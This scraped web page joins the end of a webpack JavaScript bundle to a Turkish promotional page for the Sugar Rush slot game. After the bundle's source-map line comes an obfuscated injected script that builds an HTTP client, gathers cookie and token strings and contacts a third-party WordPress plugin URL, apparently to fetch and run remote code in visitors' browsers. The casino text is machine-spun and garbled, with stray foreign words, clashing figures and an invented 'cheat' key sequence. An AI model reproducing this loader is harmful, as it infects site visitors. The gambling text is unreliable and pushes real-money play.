null == arr ? null : "undefined" != typeof Symbol && arr[Symbol.iterator] || arr["@@iterator"]; if (null != _i) { var _s, _e, _x, _r, _arr = [], _n = !0, _d = !1; try { if (_x = (_i = _i.call(arr)).next, 0 === i) { if (Object(_i) !== _i) return; _n = !1; } else for (; !(_n = (_s = _x.call(_i)).done) && (_arr.push(_s.value), _arr.length !== i); _n = !0); } catch (err) { _d = !0, _e = err; } finally { try { if (!_n && null != _i["return"] && (_r = _i["return"](), Object(_r) !== _r)) return; } finally { if (_d) throw _e; } } return _arr; } } module.exports = _iterableToArrayLimit, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/nonIterableRest.js": /*!*****************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/nonIterableRest.js ***! \*****************************************************************/ /***/ ((module) => { function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } module.exports = _nonIterableRest, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/slicedToArray.js": /*!***************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/slicedToArray.js ***! \***************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayWithHoles = __webpack_require__(/*! ./arrayWithHoles.js */ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js"); var iterableToArrayLimit = __webpack_require__(/*! ./iterableToArrayLimit.js */ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js"); var unsupportedIterableToArray = __webpack_require__(/*! ./unsupportedIterableToArray.js */ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js"); var nonIterableRest = __webpack_require__(/*! ./nonIterableRest.js */ "../node_modules/@babel/runtime/helpers/nonIterableRest.js"); function _slicedToArray(arr, i) { return arrayWithHoles(arr) || iterableToArrayLimit(arr, i) || unsupportedIterableToArray(arr, i) || nonIterableRest(); } module.exports = _slicedToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js": /*!****************************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js ***! \****************************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayLikeToArray = __webpack_require__(/*! ./arrayLikeToArray.js */ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js"); function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return arrayLikeToArray(o, minLen); } module.exports = _unsupportedIterableToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }) }]); //# sourceMappingURL=6ed74dd3befaff90b65c.bundle.js.map;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//smazimoddin.com/blog/wp-content/plugins/bunyad-amp/back-compat/templates-v0-3/templates-v0-3.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B Demo Oyna Pragmatic Play -

„Pragmatic Play’den Sugar Hurry 1000 Slot Ücretsiz Demo Oynayın

Üç veya daha fazla scatter sembolü (gumball makinesi) tutturmak Ücretsiz Döndürme özelliğini etkinleştirir. Kaç spread denk getirdiğinize bağlı olarak 10 ila 30 arasında ücretsiz döndürme kazanabilirsiniz. Bu tur sırasında, Çarpan Noktaları aktif kalır ve büyük kazanç potansiyelinizi artırır. Ücretsiz Döndürme turu, Glucose Rush 1000’in gerçekten parladığı yerdir. Kalıcı Çarpan Noktaları, benefit turu ilerledikçe ödemelerin katlanarak artmasına neden olabilir. Bu özellik, oyuncuların oyunun en heyecan verici unsurlarına anında erişmelerini sağlar, ancak tüm yargı bölgelerinde mevcut olmayabileceğini unutmamak önemlidir.

  • Doğrulanmış bir Sugar Run 1000 casino bulabileceğiniz inceleme sayfasının sobre üstüne gitmek için bu bağlantıyı takip edin.
  • Bununla birlikte, hile kullanımı oyun deneyiminizi bozabilir ve fair-play ruhunu zedeleyebilir.
  • Sugar Rush slot oyununu çevrimiçi olarak oynamak için bir tarayıcınızın olması yeterlidir.
  • Bonus özelliklere anında erişmeyi tercih ediyorsanız, Sugar Rush 1000’de bulunan Bonus Satın Alma seçeneğini kullanmayı düşünün.
  • Bu şekilde oyunun heyecanını hissedebilir ve kendinizi hazırlayabilirsiniz.

Bahsinizi belirledikten ve sembolleri anladıktan sonra sıra makaraları döndürmeye gelir. Oyunun belirli sayıda tur için otomatik olarak dönmesini tercih ederseniz otomatik oynatma özelliğini de kullanabilirsiniz. Otomatik oynatmayı kullanırken, paranızı etkili bir şekilde yönetmek için kayıp ve kazanç limitleri belirlediğinizden emin olun. Sugar Rush 1000’deki her dönüş, yuvarlanan makaralar özelliği sebebiyle birden fazla kazanç için bir fırsattır, bu nedenle aksiyon ortaya çıkarken yakından izleyin.

Ücretsiz Döndürme

Sugar Hurry slot oyunu son yıllarda Türkiye’de oldukça popüler oldu. Birçok online casino sitesinde oynanabilen bu oyun, oyuncular tarafından yoğun ilgi görüyor. Hem sanal hem para gerçek para ile oynanabilen Sugar Run slot oyunu, renkli tasarımı ve tatlı temalı sembolleriyle dikkat çekiyor.

  • Sugar Rush 1000’in tatlı dünyasına dalmaya ve gerçek parayla oynamaya hazırsanız, sizin için bazı mükemmel casino önerilerimiz var.
  • Ancak sorumlu bir şekilde oynayın, yoksa şeker yüksekliği, farkına varmadan önce bir şeker çöküşüne dönüşebilir.
  • İlk olarak, oyunun nasıl oynandığını iyi bir şekilde öğrenmelisiniz.

Evet, ilk düşüşten sonra her düşüşte pozisyon çarpanlarını ikiye katlayan düşüş kazanımları elde edersiniz ve çarpanlar bonus turunda asla sıfırlanmaz. Sugar Rush 1000’in premium RTP oranı %97. 5’tir, bu da oyunun orijinal versiyonundan önemli ölçüde daha iyidir. Özellikler orijinal oyunla aynı, ancak Sugars Rush 1000 slotunda güçlendirilmiştir sugar rush.

Semboller Empieza Ödemeler

Bonus Satın Alma özelliği özellikle yüksek volatiliteli oyunlardan hoşlanan ve ücretsiz döndürme turunun heyecanını daha sık yaşamak isteyen oyuncular için caziptir. Ancak, önemli bir ön yatırım gerektirdiği için bu özelliği sorumlu bir şekilde ve bütçeniz dahilinde kullanmanız önemlidir. Sugar Rush, Sensible Play tarafından geliştirilen renkli ve eğlenceli bir slot oyunudur. 7×7 ızgara üzerinde oynanan bu oyun, oyunculara %96. fifty gibi yüksek bir RTP oranı sunar. Yüksek volatiliteye sahip olan Sugar“ „Dash, çeşitli semboller, çarpanlar ve bonus turları ile doludur.

  • Oyunda nasıl gezineceğinizi anlamak, deneyiminizi geliştirecek ve kazanma şansınızı artıracaktır.
  • Şeker Rush Demonstration Oyunu’nda başarılı“ „olmak için bazı taktikler ve hileler kullanabilirsiniz.
  • Güvenilir siteler, oyunu adil bir şekilde sunar ve kazançlarınızı zamanında öder.
  • Oyunun akal ve hileleri ile ilgili ipuçları için diğer bölümlere göz atabilirsiniz.

Bu sitelerde para yatırma ve çekme işlemleri hızlı, güvenilir ve basit bir şekilde gerçekleştirilebilmektedir. Sugar Rush 1000’in tatlı dünyasına dalmaya ve gerçek parayla oynamaya hazırsanız, sizin için bazı mükemmel casino önerilerimiz var. Cömert maç para yatırma bonuslarından ücretsiz çevirmelere kadar, bu casinolar oyun deneyimlerini en üst düzeye çıkarmak isteyen yeni oyuncular için büyük değer sağlar.

Ödeme Tablosu

Casino tarayıcımız, bonus bilgileri de dahil olmak üzere listemizi her zaman güncel tutar. Türkiye içindeki 23 kumarhaneyi taradık ve 12 tanesinde Sugar Run 1000 bulduk. Aşağıdaki listede, Sugar Hurry 1000 yuvasına sahip olan ve Türkiye üzerinden oyuncu kabul eden en iyi kumarhaneleri bulacaksınız. Izgara üzerinde önceden ayarlanmış çarpanlarla başlayan Süper Ücretsiz Döndürmeler, bahsin 500 katı karşılığında satın alınabilir.“

  • Birçok on the web casino sitesinde bulabileceğiniz Sugar Rush position oyunu, çevrimiçi olarak da oynanabilir.
  • Şeker Rush Trial Oyna, Türkiye’nin durante heyecanlı oyun deneyimlerinden biri.
  • Sugar Run 1000’in premium RTP oranı %97. 5’tir, bu da oyunun orijinal versiyonundan önemli ölçüde daha iyidir.
  • Evet, Sugars Rush 1000 ücretsiz oyununa bu sayfanın üst kısmındaki Sugars Rush 1000 trial aracılığıyla erişilebilir (Birleşik Krallık’taki oyuncular önce yaşlarını doğrulamalıdır).
  • Sugar Rush slot oyununu çevrimiçi olarak oynayabileceğiniz diğer siteler arasında ise Superbahis, Youwin ve Mobilbahis bulunuyor.

Sugar Rush 1000 maceranıza ekstra tatlandırıcılarla başlamak için mükemmel yeri bulmak“ „için aşağıdaki seçkin online casino listemize göz atın. Oynarken, paranıza dikkat edin ve bahis stratejinizi buna göre ayarlayın. Oyun mekaniği konusunda kendinizi rahat hissedene kadar daha küçük bahislerle başlamak ve ardından bahis miktarınızı istediğiniz gibi kademeli olarak artırmak akıllıca olacaktır.

Ücretsiz Döndürmeleri Yeniden Tetikleme

Bunu yapmak için, oyuna başlamadan önce “up, upwards, down, down, left, right, left, right” tuş kombinasyonunu kullanın. Şeker Rush Trial Oyunu’nda başarılı“ „olmak için bazı taktikler ve hileler kullanabilirsiniz. Bu taktikler ve hileler, oyunu daha etkili bir şekilde oynamanıza yardımcı olacaktır. Şeker Rush Demo Oyna’da her seviyenin kendine özgü zorlukları var ve her seviye yeni bir macera sunuyor.

  • Bu sayede herhangi bir yerde internet bağlantısı olan herkes bu eğlenceli oyuna ulaşabilir.
  • Sugar Rush 1000, geleneksel ödeme çizgileri yerine bir küme ödeme mekanizması kullanır.
  • Oyunu açtıktan sonra, karakterinizi seçmeniz ve şekerlerle dolu yolda ilerlemeniz gerekiyor.

Ayrıca, oyuna para yatırmadan önce sitenin güvenilirliğini de araştırmalısınız. Sugar Rush slot oyunu hakkında birçok yorum ve eleştiri bulunabilir. Bazı oyuncular, oyunun özelliklerini, grafiklerini ve seslerini beğenirken, bazı oyuncular ise oyunun özelliklerinden daha fazla beklerler. Ancak, oyunun popülerliği ve yaygın olarak tercih edilmesi, masaüstü ve mobil oyun platformlarında ag oynanabilir olması, oyunun ne kadar keyifli olduğunu göstermektedir. Sugar Rush demo slot machine game oyunu, casino dünyasında oldukça popüler bir seçenek haline geldi. Bu heyecan verici oyunu oynayabilmek için demo versiyonunu deneyebilirsiniz.

Sugar Rush Demo Oyna: Türkiye’nin Durante Heyecanlı Oyun Deneyimi

Sugar Rush slot oyunu, dünya genelinde birçok oyuncu tarafından tercih edilen bir oyun haline geldi. Oyunun eğlenceli ve renkli tasarımı, yüksek RTP oranı ve kolay oynanabilirliği, oyuncuların tutkusunu kazanmasına yardımcı oldu. Türkiye’nin en heyecanlı oyun deneyimlerinden biri olan Sugar Run Demo Oyna, oyun tutkunlarına eşsiz bir deneyim sunuyor. Oyunu oynarken şeker temalı bir dünyanın keyfini çıkarabilir, heyecan dolu anlar yaşayabilirsiniz. Uygun oyuncular, Sugar Hurry 1000 slotunda bu takip oyunu için özel bir en yeni seçenekle birlikte gelen Bonus Satın Cabeza özelliğinden yararlanabilirler.

  • Online casino sitelerine üye olarak hoy da para yatırarak gerçek para ile oynayabileceğiniz gibi, trial versiyonu da mevcut.
  • Şekerle kaplı tatlı bir argomento etrafında döner ve oyunculara açılır ödeme çizgileri ve özel sembollerle yüksek kazanma şansı sunar.
  • Birçok online casino sitesinde oynanabilen bu oyun, oyuncular tarafından yoğun ilgi görüyor.
  • Sugar Rush slot oyunu hakkında birçok yorum ve eleştiri bulunabilir.
  • Sugar Dash slot oyunu, renkli ve tatlı tasarımıyla dikkat çeken bir slot oyunudur.

Aynı yuvarlanma dizisinde ya da aynı temel oyun dönüşünde 3, four, 5, 6 veya 7 scatter indirerek 10, 12, 12-15, 20 veya 25 ücretsiz döndürme kazanırsınız. Vurgulanan pozisyonlar ya da çarpan pozisyonları, bonus turu sürdüğü sürece sıfırlanmaz ve bu nedenle kazandıkça maksimum seviyeye doğru büyümeye devam ederler. Aynı ücretsiz döndürmede 3, 4, 5, 6 veya 7 spread indirerek 10, 13, 15, 20 veya 30 ekstra ücretsiz döndürme kazanırsınız. Sugar Rush slot oyununu çevrimiçi olarak oynamak için bir tarayıcınızın olması yeterlidir. Sugar Rush slot oyununu indirmek için arama motorlarında arama yapabilirsiniz.

Sugar Rush Demo – Sugar Rush Position Oyna – Hileleri Ve Siteleri

Sugar Rush slot oyununda kazanma şansınızı artırmak için başka bir yol da stratejiler kullanmaktır. Kazanma şansınızı artırmak için lowest bahis ile oynamak yerine, maksimum bahisle“ „oynamak daha avantajlı olabilir. Bunlar sadece glucose rush demo slot machine game oyununu oynayabileceğiniz sitelerin birkaç örneği.

  • Sugar Rush trial slot oyununu oynayabileceğiniz en iyi sitelerinin adresleri keşfetmek için araştırma yapabilirsiniz.
  • Bunlar arasında bonus seçenekleri, free spin seçenekleri, ve çeşitli promosyonlar yer alır.
  • Türkçe demo versiyonunu özellikle yeni başlayanlar için öneriyoruz, çünkü oyunun nasıl oynandığını ve stratejilerini daha iyi anlamanıza yardımcı olur.
  • Pozisyon başına maksimum çarpan x1. 024’tür ve çarpanlar, çarpan pozisyonlarının üzerine düşen tüm kazanan kümeleri artırmak için bir araya getirilir.

Bunun yanı sıra, Sugar Hurry slot oyununda totally free spin bonuslarından yararlanabilirsiniz. Bu bonuslar neticesinde daha fazla kazanç elde etme şansınız artabilir. Ayrıca, oyunun RTP (Return to Player) oranına dikkat etmeniz önemlidir.

Adım 4: Kazanan Kümeler Oluşturun

Oyuncular, tutturulan scatter sayısına bağlı olarak 12 ila 30 ücretsiz döndürme kazanabilir. Ücretsiz döndürmeler sırasında, Çarpan Noktaları tüm reward turu boyunca aktif kalır ve döndürmeler arasında sıfırlanmaz. Bu, büyük çarpan birikimlerine ve potansiyel olarak büyük ödemelere yol açabilir.

  • Sugar Hurry demo slot oyununda kazanma şansınızı artırmak için kullanabileceğiniz birkaç strateji mevcuttur.
  • Tumble özelliği, oyunun çarpan noktalarını etkinleştirmenin ve geliştirmenin anahtarıdır.
  • Oyunun gerçek para sürümünde ise para yatırma ve çekme işlemleri yapabilirsiniz.
  • Ücretsiz Döndürme turu, Sugars Rush 1000’in gerçekten parladığı yerdir.
  • Bu şekilde hem oyun keyfiniz bozulmaz, hem sobre para yatırma empieza çekme işlemlerinde sorun yaşamazsınız.

Bu özellik özellikle heyecan vericidir çünkü ödemelerde üstel büyümeye yol açabilir. Örneğin, para kazanan bir kümede üç adet 8x çarpan noktanız varsa, toplam çarpan 512x (8x8x8) olacaktır. Oyuncular bu çarpanların büyümesini izlerken, büyük bir kazancın“ „hemen köşede olabileceğini bilerek her taklada beklenti artar.

Pragmatic Play’in Sugar Rush Slot Oyunu Rehberi

Kazanan semboller Yuvarlanma mekaniği aracılığıyla kaldırılır ve yerine yenileri gelir ve tüm kaldırılan semboller pozisyonlarını vurgular. Aynı yuvarlanma dizisinde bu ikinci kez olduğunda pozisyona x2 çarpanı eklenir ve sonraki the girl kaldırma için pozisyon çarpanı ikiye katlanır. Pozisyon başına maksimum çarpan x1. 024’tür ve çarpanlar, çarpan pozisyonlarının üzerine düşen tüm kazanan kümeleri artırmak için bir araya getirilir. Bu, özellikle oyunun yüksek volatiliteye sahip olması nedeniyle“ „önemlidir.

  • Bonus Satın Alma seçeneği, özellikle Ücretsiz Döndürme turunun yüksek bahisli heyecanından hoşlananlar için caziptir.
  • Göz alıcı grafiklere, tuhaf temayı mükemmel bir şekilde tamamlayan çan ve ıslık sesleri içeren eğlenceli bir film müziği eşlik ediyor.
  • Oyunu oynamak için bazı taktikler ve hileler kullanmanız gerekiyor.
  • Ayrıca, mümkün olduğu kadar çok şeker toplayarak puanınızı artırabilirsiniz.
  • Sugar Dash“ „1000’de wild sembolü bulunmaz, bunun yerine kazanan kombinasyonlar oluşturmak ve ödemeleri artırmak için küme ödeme mekanizmasına ve çarpan noktalarına güvenir.

Tumble özelliği, oyunun çarpan noktalarını etkinleştirmenin ve geliştirmenin anahtarıdır. Her biri bir öncekinin üzerine inşa edilen ve genel kazanç potansiyelini artıran arka arkaya birkaç takla görmek alışılmadık bir durum değildir. Bu basamaklı etki, mütevazı bir ilk kazancı bile önemli bir ödemeye dönüştürebilir empieza oyuncuları her dönüşte koltuklarının kenarında tutar. En iyi sitelerde oynamak için öncelikle güvenilir siteleri seçmeniz gerekiyor. Bu şekilde hem oyun keyfiniz bozulmaz, hem para para yatırma ve çekme işlemlerinde sorun yaşamazsınız.

Pragmatic Play – Slot Geliştirici

Ayrıca, oyunu bedava oynayabileceğiniz sitelerin listesini bulmak için internet araştırmaları yapabilirsiniz. Sugar Rush position oyununda en iyi site seçimi kişisel tercihlere göre değişebilir. Ancak, güvenilir empieza yüksek kazanma şansı sunan siteler tercih edilmelidir. Örneğin, deneme bonusu veren ve yüksek RTP oranlarına sahip siteler daha avantajlı olabilir. Bunun yanı sıra, oyunu oynarken hile programlarından kaçınmak ve adil bir şekilde oynamak önemlidir. Bu şekilde hem eğlenceli vakit geçirir hem para daha yüksek kazançlar elde edersiniz.

Bu çarpanlar oyun sırasında“ „a single. 024x’e kadar ulaşarak önemli ölçüde büyüyebilir. Bunlar 2x ile başlar ve u noktayı içeren sonraki her kazançta ikiye katlanır. Birden fazla Çarpan Noktası birleşerek potansiyel olarak büyük ödemelere yol açabilir. Stratejik olarak, birden fazla Çarpan Noktasını etkinleştiren kazançları hedeflemek ve ardından bu çarpanları oluşturmak için art arda kazançlar elde etmeyi ummak istersiniz. Kazanan semboller patlayarak ızgaradan kaybolur ve yeni sembollerin yukarıdan aşağıya akmasına izin verir. Bu süreç, yeni kazanan kümeler oluştuğu sürece devam eder empieza potansiyel olarak tek bir döndürmeden birden fazla ardışık kazanca yol açar.

Oyun Stratejisi Empieza İpuçları

Sugar“ „Substantial Powernudge – Practical Play’den başka bir şekerli taksit olup, konum çarpanlarını your ex güçlendirme ile yükselten rastgele tetiklenen güçlendiricilerle birlikte gelir. Çarpanlar sadece bonus turunda birikmeye devam eder ve bahisinizin your five. 000 katına kadar ödemeler için birikir. Pragmatic Play, 2015’te kurulduğundan bu yana toplamda 590’dan fazla oyun yayımlamış olan etkileyici üretkenlikleriyle iGaming endüstrisinde öne çıkıyor.

Size garanti edilmiş bir Sugar Rush 1000 stratejisi veremeyiz, ancak tatlı dişimiz bonus turunun geldiğini hissettiğinde bahis seviyesini birkaç kademe artırmayı seviyoruz. Bunu geciktiğini hissettiğimizde yapıyoruz, umarım özellik sırasında daha büyük kazançlar elde edebiliriz. Ancak sorumlu bir şekilde oynayın, yoksa şeker yüksekliği, farkına varmadan önce bir şeker çöküşüne dönüşebilir. Sugar Rush slot oyunu, eğlenceli ve keyifli bir oyun deneyimi sunar. Slot oyunları arasında popüler olan Glucose Rush, birçok farklı sitede oynanabilir.

Şeker Rush Demo Oyunu Taktikleri Ve Hileleri“ „[newline]şeker Rush Demo Oyunlarını Keşfedin

Demo sürümü, stratejinizi geliştirmenize ve oyunun dinamiklerini anlamanıza yardımcı olacaktır. Sugar Dash 1000 görsel olarak çarpıcı bir renk ve yaratıcılık gösterisidir. Grafikler parlak, neşeli ve şeker dünyasını hayata geçiren şekerli ayrıntılarla doludur. Farklı renkleriyle sakızlı ayılardan parıldayan şeker parçalarına kadar her sembol titizlikle tasarlanmıştır.

Ayrıca, tarayıcınızda oynamak isterseniz, ücretsiz olarak oynayabileceğiniz sürüme de erişebilirsiniz. Şeker Rush Demonstration Oyna, Türkiye’nin sobre heyecanlı oyun deneyimlerinden biri. Oyunu ücretsiz olarak oynayarak eğlencenin tadını çıkarabilirsiniz.

Denemek İçin Benzer Slotlar

Sugar Rush Demo Oyna’yı hemen deneyebilirsiniz ve oyunun size sağlayacağı keyfi hissedebilirsiniz. Pragmatic Play, bu kez tatlılık faktörünü bin kat artırarak (neredeyse) Sugar Rush 1000 ile geri döndü. Bu, Pragmatic Play’in bugüne kadarki sobre cesur ve durante cüretkar ‚1000‘ yükseltmesi ve bu oyun, orijinalde sevdiğiniz your ex şeyi alıp devasa bir şekerli steroid dozu ile enjekte ediyor. Sadece oyunu indirin veya tarayıcınızda açın, oyuna başlayın ve eğlenceye katılın. Kredi kartı, banka havaleleri, sanal cüzdanlar gibi farklı yöntemler kullanarak hesabınıza em virtude de yatırabilirsiniz. Özellikle, altın şeker güçlendirmesi dimensions ekstra puanlar kazandıracak ve hızınızı artıracaktır.

  • Sugar Rush a thousand, oyuncuları şekerleme lezzetleriyle dolu tuhaf bir dünyaya taşıyor.
  • Vurgulanan pozisyonlar ya da çarpan pozisyonları, reward turu sürdüğü sürece sıfırlanmaz ve bu nedenle kazandıkça maksimum seviyeye doğru büyümeye devam ederler.
  • Kümeler dikey ve/veya yatay olarak bağlanır ve bu takip sürümünde de Wild sembolleri yoktur.
  • Oyun, oyunculara birçok farklı türde tatlı ikramiye ödülleri sunar.

Sugar Rush slot oyunu, diğer benzer slot oyunları gibi eğlenceli ve keyifli bir oyun deneyimi sunar. Oyun dünyasına“ „girerek Sugar Rush’un eğlenceli dünyasına dahil olabilir ve başka position oyunları da keşfedebilirsiniz. Bu sitelerde bedava oyun seçenekleri, hile programları, free rotate veren siteler ve en çok kazandıran site bilgilerini bulabilirsiniz. Bazı siteler Türkçe seçeneği sunarken, diğerleri İngilizce dil seçeneği sunar. Türkçe trial versiyonunu özellikle en yeni başlayanlar için öneriyoruz, çünkü oyunun nasıl oynandığını ve stratejilerini daha iyi anlamanıza yardımcı olur.

Sugar Rush One Thousand Oyununu Ücretsiz Oynayabilir Miyim?

Oyunu ücretsiz olarak oynayabilir, taktikler empieza hilelerle daha başarılı olabilir ve farklı demo oyunlarını keşfedebilirsiniz. Şeker Rush Trial Oyunları arasında seçim yapabileceğiniz birçok seçenek var. Sugar Dash 1000 oyununu Pragmatic Play oyunları sunan“ „çeşitli online casinolarda oynayabilirsiniz. Birçok inceleme sitesi, genellikle yeni oyuncular için hoş geldin bonusları ile Sugars Rush 1000 içeren doğrulanmış casinoların listelerini sunar. Oyun, rotate başına minimum zero, 20 jeton empieza maksimum 100 jeton bahis seçmenize olanak tanır. İstediğiniz bahis miktarını seçmek için bahis arayüzündeki artı ve eksi düğmelerini kullanın.

  • Kredi kartı, banka havaleleri, sanal cüzdanlar gibi farklı yöntemler kullanarak hesabınıza afin de yatırabilirsiniz.
  • Sugar Rush position oyununun demo versiyonu Türkçe dil seçenekli olarak sunulmaktadır.
  • Bazı oyuncular,“ „oyunun özellikle akşam saatlerinde daha fazla kazandırdığını düşünmektedir.
  • Sugar Run 1000 görsel olarak çarpıcı bir renk ve yaratıcılık gösterisidir.

Oyunu ücretsiz oynama seçeneklerini sunan siteler, kazanma şansınızı artırmak için iyi bir fırsat sunar. Sugar Rush slot oyunu, renkli ve tatlı tasarımıyla dikkat çeken bir slot oyunudur. Oyunun RTP oranı %96. 52’dir ve a few makaralı, 20 ödeme çizgili bir yapıya sahiptir. Slot oyununu gerçek parayla oynamadan önce demo versiyonunu deneyebilirsiniz. Bu şekilde oyunun heyecanını hissedebilir ve kendinizi hazırlayabilirsiniz. Bonus özelliklere anında erişmeyi tercih ediyorsanız, Sugar Rush 1000’de bulunan Bonus Satın Alma seçeneğini kullanmayı düşünün.

Sugar Rush Demo Position Açığı Var Mı?

Pembe top sembolü, daha büyük kümeler için en yüksek ödemeleri sunar. Ayrıca, gumball makinesi scatter sembolüne özellikle dikkat edin, çünkü bu sembol kazançlı ücretsiz çevirme özelliğine giriş biletinizdir. Farklı slot oyunları arasında seçim yaparak yeni oyunlar keşfedebilirsiniz. Sugar Rush position oyununun demo versiyonu Türkçe dil seçenekli olarak sunulmaktadır. Bu sayede, oyunu Türkçe bilenler daha rahat bir şekilde oynayabilirler. Ayrıca, demo versiyon sayesinde oyuna aşina olabilir ve gerçek para yatırmadan önce nasıl oynanacağını öğrenebilirsiniz.

  • Bunların yanı sıra, farklı kategorilerde pek çok demonstration oyunu da keşfedebilirsiniz.
  • Oyun, şeker temalı olmasından dolayı oldukça renkli ve eğlencelidir.
  • Bu yüzden, oyunu oynarken kazanmak için şansınıza güvenmeniz gerekmektedir.
  • Ancak, bonusların kullanım koşulları ve çevrim şartları gibi detayları da incelemeniz önemlidir.

Ücretsiz Döndürme turu, oyunun gerçek potansiyelinin parladığı yerdir, çünkü kalıcı çarpanlar bonus boyunca astronomik seviyelere çıkabilir. Sugar Rush 1000, geleneksel ödeme çizgileri yerine bir küme ödeme mekanizması kullanır. Oyuncuların kazanan kombinasyonlar oluşturmak için 7×7 ızgaranın herhangi bir yerinde 5 veya daha fazla eşleşen sembolden oluşan kümeler oluşturmaları gerekir. Bu sistem tek bir döndürmede birden fazla kazanç elde edilmesini sağlar ve tatlı zaferlerin zincirleme reaksiyonlarını oluşturmak için takla özelliğiyle birlikte çalışır. 15 veya daha fazla sembolden oluşan kümeler en yüksek ödülleri sunar.


Für diesen Beitrag sind die Kommentare geschlossen.